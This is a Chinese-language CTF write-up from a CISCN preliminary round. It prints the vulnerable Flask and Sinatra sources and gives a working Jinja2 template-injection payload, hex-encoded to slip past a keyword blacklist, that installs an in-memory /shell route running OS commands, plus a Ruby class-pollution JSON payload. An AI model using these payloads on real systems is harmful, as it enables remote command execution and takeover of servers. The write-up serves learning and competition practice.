CISCN-初赛

CISCN-初赛

Safe_Proxy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
from flask import Flask, request, render_template_string
import socket
import threading
import html

app = Flask(__name__)

@app.route('/', methods=["GET"])
def source():
with open(__file__, 'r', encoding='utf-8') as f:
return '<pre>'+html.escape(f.read())+'</pre>'

@app.route('/', methods=["POST"])
def template():
template_code = request.form.get("code")
# 安全过滤
blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
for black in blacklist:
if black in template_code:
return "Forbidden content detected!"
result = render_template_string(template_code)
print(result)
return 'ok' if result is not None else 'error'

class HTTPProxyHandler:
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port

def handle_request(self, client_socket):
try:
request_data = b""
while True:
chunk = client_socket.recv(4096)
request_data += chunk
if len(chunk) < 4096:
break

if not request_data:
client_socket.close()
return

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:
proxy_socket.connect((self.target_host, self.target_port))
proxy_socket.sendall(request_data)

response_data = b""
while True:
chunk = proxy_socket.recv(4096)
if not chunk:
break
response_data += chunk

header_end = response_data.rfind(b"\r\n\r\n")
if header_end != -1:
body = response_data[header_end + 4:]
else:
body = response_data

response_body = body
response = b"HTTP/1.1 200 OK\r\n" \
b"Content-Length: " + str(len(response_body)).encode() + b"\r\n" \
b"Content-Type: text/html; charset=utf-8\r\n" \
b"\r\n" + response_body

client_socket.sendall(response)
except Exception as e:
print(f"Proxy Error: {e}")
finally:
client_socket.close()

def start_proxy_server(host, port, target_host, target_port):
proxy_handler = HTTPProxyHandler(target_host, target_port)
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((host, port))
server_socket.listen(100)
print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")

try:
while True:
client_socket, addr = server_socket.accept()
print(f"Connection from {addr}")
thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))
thread.daemon = True
thread.start()
except KeyboardInterrupt:
print("Shutting down proxy server...")
finally:
server_socket.close()

def run_flask_app():
app.run(debug=False, host='127.0.0.1', port=5000)

if __name__ == "__main__":
proxy_host = "0.0.0.0"
proxy_port = 5001
target_host = "127.0.0.1"
target_port = 5000

# 安全反代,防止针对响应头的攻击
proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))
proxy_thread.daemon = True
proxy_thread.start()

print("Starting Flask app...")
run_flask_app()

看到render_template_string就知道是一个jinja2的模板注入了。
回顾一下常见的Jinja2的绕过类型,感觉是Flask内存马注入.
打内存马,基础Payload大概是

1
{{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(request.args.get('cmd')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}
1
code={{url_for[request.args.a][request.args.b][request.args.c]("\x61\x70\x70\x2e\x5f\x67\x6f\x74\x5f\x66\x69\x72\x73\x74\x5f\x72\x65\x71\x75\x65\x73\x74\x3d\x46\x61\x6c\x73\x65\x3b\x0a\x61\x70\x70\x2e\x61\x64\x64\x5f\x75\x72\x6c\x5f\x72\x75\x6c\x65\x28\x27\x2f\x73\x68\x65\x6c\x6c\x27\x2c\x20\x27\x73\x68\x65\x6c\x6c\x27\x2c\x20\x6c\x61\x6d\x62\x64\x61\x3a\x20\x27\x3c\x70\x72\x65\x3e\x7b\x30\x7d\x3c\x2f\x70\x72\x65\x3e\x27\x2e\x66\x6f\x72\x6d\x61\x74\x28\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x72\x65\x71\x75\x65\x73\x74\x2e\x61\x72\x67\x73\x2e\x67\x65\x74\x28\x27\x63\x6d\x64\x27\x29\x29\x2e\x72\x65\x61\x64\x28\x29\x29\x0a\x29\x3b\x0a\x61\x70\x70\x2e\x5f\x67\x6f\x74\x5f\x66\x69\x72\x73\x74\x5f\x72\x65\x71\x75\x65\x73\x74\x3d\x54\x72\x75\x65\x3b\x0a",{'request':url_for[request.args.a]['request'],'app':url_for[request.args.a]['current_app']})}}

中间那一串是

1
2
3
4
app._got_first_request=False;
app.add_url_rule('/shell', 'shell', lambda: '<pre>{0}</pre>'.format(__import__('os').popen(request.args.get('cmd')).read())
);
app._got_first_request=True;

用Hex 16进制编码和request.args传参,就可以绕过WAF打内存马了,直接cat flag就出

hello_web

一个奇怪的PHP的混淆webshell题,用不同层的同名php文件来欺骗选手,最后绕一个php的disabled_functions,感觉没什么意思,不聊了

ezRuby

这是一道 Ruby类污染的题

怎么理解”类污染”这个词?

看到这个东西,我第一眼会想到JavaScript和Python中的原型链污染.是的,这和那些东西很像,并且有着自己的独立特征。由于Ruby是一个没有那么火爆的语言,我觉得有必要关注一下Ruby安全(虽然Ruby没有像Java和Go那些开发语言一样大行其道便是了)

参考Ruby 中的类污染:深入探讨利用递归合并

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
# frozen_string_literal: true

require 'json'
require 'sinatra/base'
require 'net/http'


class Person
@@url = "http://default-url.com"

attr_accessor :name, :age, :details

def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end

def self.url
@@url
end


def merge_with(additional)
recursive_merge(self, additional)
end

private


def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
if current_obj.is_a?(Hash)
current_obj[key] = value
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
end
original
end
end

class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
end


class KeySigner
@@signing_key = "default-signing-key"

def self.signing_key
@@signing_key
end

def sign(signing_key, data)
"#{data}-signed-with-#{signing_key}"
end
end

class JSONMergerApp < Sinatra::Base
set :bind , '0.0.0.0'
set :port , '8888'
post '/merge' do
content_type :json
j_str = request.body.read
return "try try try" if j_str.include?("\\") || j_str.include?("h")

json_input = JSON.parse(j_str, symbolize_names: true)

user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)

user.merge_with(json_input)

{ status: 'merged' }.to_json
end

# GET /launch-curl-command - Activates the first gadget
get '/launch-curl-command' do
content_type :json

# This gadget makes an HTTP request to the URL stored in the User class
if Person.respond_to?(:url)
url = Person.url
response = Net::HTTP.get_response(URI(url))
{ status: 'HTTP request made', url: url }.to_json
else
{ status: 'Failed to access URL variable' }.to_json
end
end

get '/sign_with_subclass_key' do
content_type :json

signer = KeySigner.new
signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")

{ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
end

get '/check-infected-vars' do
content_type :json

{
user_url: Person.url,
signing_key: KeySigner.signing_key
}.to_json
end

get('/') do
erb :hello
end
run! if app_file == $0
end

这道题没什么人做,市面上也没有什么公开的题解,但我参考了一下文章学了点东西,感觉挺有意思的,所以写个题解记录一下。
变量有实例变量和类变量,实例变量是每个实例对象独有的,类变量是所有实例对象共享的。污染实例变量仅对实例产生影响,污染类变量会对所有的实例产生影响,分别用@@@加以区别.
题目里有比较危险的recursive_merge函数,可以污染对象和类的变量.
类似Node.js里面的__proto__,Ruby里面可以利用superclass来实现类似的污染.

1
{"class":{"superclass":{"url":"http://example.com"}}}

这道题剩下的攻击路径比较渺茫,不知道这个Payload要怎么走,有点抽象